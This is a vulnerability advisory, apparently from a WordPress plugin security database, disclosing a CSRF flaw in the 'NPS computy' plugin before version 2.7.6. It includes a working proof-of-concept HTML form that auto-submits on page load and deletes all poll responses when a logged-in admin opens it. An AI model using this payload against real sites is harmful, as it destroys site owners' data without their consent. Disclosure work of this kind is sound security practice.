WordPress Plugin Vulnerabilities

NPS computy < 2.7.6 - Results Deletion via CSRF

Description

The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

Proof of Concept

Make a logged in admin open the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=nps-plugin-options" method="POST">
        <input type="text" id="event" name="event" value='delete_all'>
        <input type="submit" value="submit" name="add">
    </form>
</body>
```

The result is that all existing poll responses are deleted.

Affects Plugins

Fixed in 2.7.6

References

Classification

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-03-25 (about 1 months ago)
Added
2024-03-25 (about 1 months ago)
Last Updated
2024-04-01 (about 28 days ago)

Other